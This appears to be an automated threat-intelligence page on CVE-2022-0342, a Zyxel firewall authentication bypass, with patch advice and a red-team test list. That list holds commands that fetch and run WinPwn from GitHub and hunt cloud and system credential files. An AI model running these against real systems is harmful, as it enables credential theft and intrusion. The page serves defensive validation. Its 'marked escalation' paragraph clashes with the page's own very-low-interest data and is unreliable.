CVE-2022-0342

CRITICAL Pub 28/03 Upd 02/08

Overview

This vulnerability is an authentication bypass affecting the CGI program within Zyxel USG/ZyWALL series firmware. The root cause lies in improper validation of authentication tokens or session management within the web interface, allowing unauthorized access to the administrative functions. The flaw specifically impacts the web-based management component of multiple Zyxel firewall product lines across specified firmware versions.

Vulnerability Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

Impact

An unauthenticated remote attacker can bypass the web authentication mechanism to gain full administrative privileges on affected Zyxel firewall devices. This access enables the attacker to modify configurations, intercept or redirect network traffic, and potentially deploy further malicious activities within the network. The exploit requires only network access to the device's management interface and no prior authentication, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to complete compromise of the firewall and underlying network infrastructure.

Solution

Zyxel has released security advisories detailing patches for affected products. Users should upgrade to firmware versions beyond 4.70 for USG/ZyWALL series, beyond 5.20 for USG FLEX, ATP, and VPN series, and beyond V1.33 Patch 4 for NSG series. The official advisory and patch instructions are available at https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml. Applying these vendor-provided firmware updates is the recommended remediation to address the authentication bypass vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

An authentication bypass vulnerability exists within the CGI program of specific Zyxel firewall and VPN device firmware versions. This flaw allows unauthorized users to bypass web authentication mechanisms, potentially granting them administrative access to the affected devices. The vulnerability arises from improper validation of user credentials, which can be exploited by attackers to gain control over the device without needing valid login information. This issue affects a range of Zyxel products, including the USG, ZyWALL, USG FLEX, ATP, VPN, and NSG series, across various firmware versions. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to systems utilizing these devices.

Attack vectors for this vulnerability are particularly concerning, as they can be executed remotely without physical access to the devices. An attacker could leverage this flaw by crafting specific requests to the web interface of the affected devices, effectively bypassing authentication checks. Once administrative access is obtained, the attacker could manipulate configurations, intercept traffic, or deploy malicious payloads within the network. Scenarios may include targeting organizations with weak security postures, where the compromised device could serve as a gateway for further attacks, including data breaches and network infiltration.

The real-world impact of this vulnerability is significant, especially for businesses relying on Zyxel devices for network security. Gaining unauthorized access to a firewall or VPN device can lead to severe consequences, including data loss, service disruption, and reputational damage. Organizations may face regulatory scrutiny and financial penalties if sensitive information is exposed or compromised. Additionally, the potential for lateral movement within a network increases the risk of broader attacks, making this vulnerability a critical concern for IT security teams.

Detection and mitigation strategies are essential to protect against this vulnerability. Organizations should prioritize updating affected devices to the latest firmware versions, which include patches addressing the authentication bypass issue. Regular vulnerability assessments and penetration testing can help identify potential exploitation attempts and ensure that security measures are effective. Implementing strong access controls, such as multi-factor authentication and network segmentation, can further reduce the risk of unauthorized access. Monitoring logs for unusual access patterns or configuration changes can also aid in early detection of potential exploitation.

In conclusion, the authentication bypass vulnerability in Zyxel devices poses a critical threat to organizations utilizing these products. The ability for attackers to gain administrative access without valid credentials can lead to severe operational and reputational risks. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the exploitation of this vulnerability and enhance their overall cybersecurity posture.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-0342, with a notable increase in telemetry signals indicating attempts to exploit the authentication bypass vulnerability in Zyxel devices. Although the EPSS score remains stable and no new exploit variants have been identified, the surge in detection events suggests heightened attacker interest and potential reconnaissance or exploitation efforts in the wild. This trend elevates the immediacy of the threat, as increased probing can precede more widespread or sophisticated attacks targeting administrative access. Defenders should recognize that the vulnerability remains actively targeted, reinforcing the criticality of monitoring and response capabilities. While the overall risk rating remains critical due to the vulnerability’s nature and impact, the observed escalation in exploitation attempts underscores an increased likelihood of compromise in environments with unpatched Zyxel firmware.

Affected Products (25)

Vendor Product Version CPE
zyxel Zyxel Usg40 Firmware All cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg40w Firmware All cpe:2.3:o:zyxel:usg40w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg60 Firmware All cpe:2.3:o:zyxel:usg60_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg60w Firmware All cpe:2.3:o:zyxel:usg60w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall 110 Firmware All cpe:2.3:o:zyxel:zywall_110_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall 310 Firmware All cpe:2.3:o:zyxel:zywall_310_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall 1100 Firmware All cpe:2.3:o:zyxel:zywall_1100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 100 Firmware All cpe:2.3:o:zyxel:usg_flex_100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 200 Firmware All cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 500 Firmware All cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 100w Firmware All cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 700 Firmware All cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp100 Firmware All cpe:2.3:o:zyxel:atp100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp100w Firmware All cpe:2.3:o:zyxel:atp100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp200 Firmware All cpe:2.3:o:zyxel:atp200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp500 Firmware All cpe:2.3:o:zyxel:atp500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp700 Firmware All cpe:2.3:o:zyxel:atp700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Atp800 Firmware All cpe:2.3:o:zyxel:atp800_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn50 Firmware All cpe:2.3:o:zyxel:vpn50_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vpn100 Firmware All cpe:2.3:o:zyxel:vpn100_firmware:*:*:*:*:*:*:*:*
+5 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

4 events
2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
hardcoded_credentials
51% hardcoded_credentials
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
40%
High High
CAPEC-114 Authentication Abuse
30%
Medium
CAPEC-151 Identity Spoofing
30%
Medium Medium
CAPEC-194 Fake the Source of Data
30%
Medium
CAPEC-633 Token Impersonation
30%
Medium

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-0342
zyxel.com
GitHub CVE x_refsource_CONFIRM
https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml